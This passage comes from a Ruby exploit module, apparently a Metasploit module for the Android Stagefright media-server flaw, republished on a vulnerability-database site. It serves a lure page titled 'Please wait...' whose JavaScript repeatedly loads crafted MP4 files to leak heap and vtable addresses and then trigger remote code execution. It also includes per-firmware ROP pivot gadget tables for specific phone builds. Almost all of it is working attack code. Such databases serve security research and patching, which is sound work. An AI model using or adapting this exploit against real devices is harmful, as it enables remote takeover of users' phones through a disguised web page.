# Generate an MP4 filename for this peer  
mp4_fn = rand_text_alpha(11)  
  
# Save the target for when they come back asking for this file  
# Also initialize the leak address to the first one  
@peers[mp4_fn] = { :target => my_target }  
  
# Send the index page  
mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"  
html = %Q^<html>  
<head>  
<title>Please wait...</title>  
<script>  
var video; // the video tag  
var to_id; // timeout ID  
var req_start; // when we requested the video  
var load_start; // when we loaded the video  
// Give mediaserver some time to settle down after restarting -- increases reliability  
var waitTime = 100; // 6000;  
var error = false;  
var near_sampiter_addr = -1;  
var vector_vtable_addr = -1;  
var crashes = 0;  
  
function duration_changed() {  
var now = Date.now();  
var req_time = now - req_start;  
var load_time = now - load_start;  
console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));  
if (load_time > 2000) {  
// probably crashed. reset the entire process..  
near_sampiter_addr = -1;  
vector_vtable_addr = -1;  
waitTime = 6000;  
crashes += 1;  
if (crashes > 5) {  
console.log('too many crashes!!!');  
stop_everything();  
}  
}  
else {  
// if we got the near_sampiter_addr already, we are now trying to read the code pointer.  
// otherwise, we're trying to find near_sampiter_addr...  
if (near_sampiter_addr == -1) {  
// if we get this value, we failed to overwrite the metadata. try again.  
if (video.videoHeight != 768) { // XXX: TODO: parameterize  
if (video.videoHeight != 0) { // wtf? crashed??  
value = video.videoHeight;  
console.log('leaked heap pointer: 0x' + value.toString(16));  
near_sampiter_addr = value;  
}  
}  
} else if (vector_vtable_addr == -1) {  
// if we get this value, we failed to overwrite the metadata. try again.  
if (video.duration != 314) { // XXX: TODO: parameterize  
// zero means a value that could not be represented...  
if (video.duration != 0) {  
var value = Math.round(video.duration * 1000000);  
console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));  
  
vector_vtable_addr = value;  
}  
}  
}  
  
// otherwise, we just keep trying with the data we have...  
}  
  
if (error == false) {  
if (vector_vtable_addr == -1) {  
to_id = setTimeout(reload_leak, waitTime);  
} else {  
to_id = setTimeout(reload_rce, waitTime);  
}  
waitTime = 100;  
}  
}  
  
function stop_everything() {  
if (error == false) {  
console.log('---- GIVING UP!! ----');  
error = true;  
}  
if (to_id != -1) {  
clearTimeout(to_id);  
}  
}  
  
function start() {  
video = document.getElementById('vid');  
video.onerror = function() {  
console.log(' onError called!');  
stop_everything();  
}  
video.ondurationchange = duration_changed;  
//reload_rce();  
reload_leak();  
}  
  
function get_uri() {  
var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;  
var uri = '#{mp4_uri}?x=' + rn;  
if (near_sampiter_addr != -1) {  
uri += '&sia=' + near_sampiter_addr;  
}  
if (vector_vtable_addr != -1) {  
uri += '&sfv=' + vector_vtable_addr;  
}  
return uri;  
}  
  
function reload_leak() {  
to_id = -1;  
var xhr = new XMLHttpRequest;  
xhr.responseType = 'blob';  
xhr.onreadystatechange = function() {  
if (xhr.readyState == 4) {  
if (xhr.status != 200 || !xhr.response) {  
stop_everything();  
return;  
}  
load_start = Date.now();  
try {  
//var url = URL.createObjectURL(xhr.response);  
var a = new FileReader();  
a.onload = function(e) {  
//console.log('onload: ' + e.target.result);  
video.src = e.target.result  
};  
a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }  
a.readAsDataURL(xhr.response);  
} catch(e) {  
console.log(' ERROR: ' + e.message);  
stop_everything();  
}  
}  
};  
xhr.open('GET', get_uri(), true);  
req_start = Date.now();  
xhr.send();  
}  
  
function reload_rce() {  
to_id = -1;  
video.src = get_uri();  
}  
</script></head>  
<body onload='start()'>  
<video id=vid width=1px controls>  
Your browser does not support VIDEO tags.  
</video><br />  
Please wait while we locate your content...  
</body>  
</html>  
^  
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
#  
# Return some firmware-specific values to the caller.  
#  
# The VectorRVA field is extracted using the following command:  
#  
# $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE  
#  
def get_details(my_target)  
details = {  
'lrx' => {  
'VectorRVA' => 0x10ae30,  
'PivotStrategy' => 'lrx',  
'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1  
'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc}  
'Adjust' => 0x475cd # pop {r3, r4, pc}  
},  
'lmy-1' => {  
'VectorRVA' => 0x10bd58,  
'PivotStrategy' => 'lmy-1',  
'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1  
'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc}  
'Adjust' => 0x479b1 # pop {r3, r4, pc}  
},  
'lmy-2' => {  
'VectorRVA' => 0x10bd58,  
'PivotStrategy' => 'lmy-2',  
'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1  
'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc}  
'Adjust' => 0x479b1 # pop {r3, r4, pc}  
},  
'shamu / LYZ28E' => {  
'VectorRVA' => 0x116d58,  
'PivotStrategy' => 'lyz',  
'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3  
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}  
'Adjust' => 0x44f81 # pop {r3, r4, pc}  
},  
'shamu / LYZ28J' => {  
'VectorRVA' => 0x116d58,  
'PivotStrategy' => 'lyz',  
'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3  
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}  
'Adjust' => 0x44f81 # pop {r3, r4, pc}  
},  
'sm-g900v / OE1' => {  
'VectorRVA' => 0x174048,  
'PivotStrategy' => 'sm-g900v',  
'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5  
'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2  
'Adjust' => 0x65421 # pop {r4, r5, pc}  
}  
}  
  
details[my_target['Rop']]  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation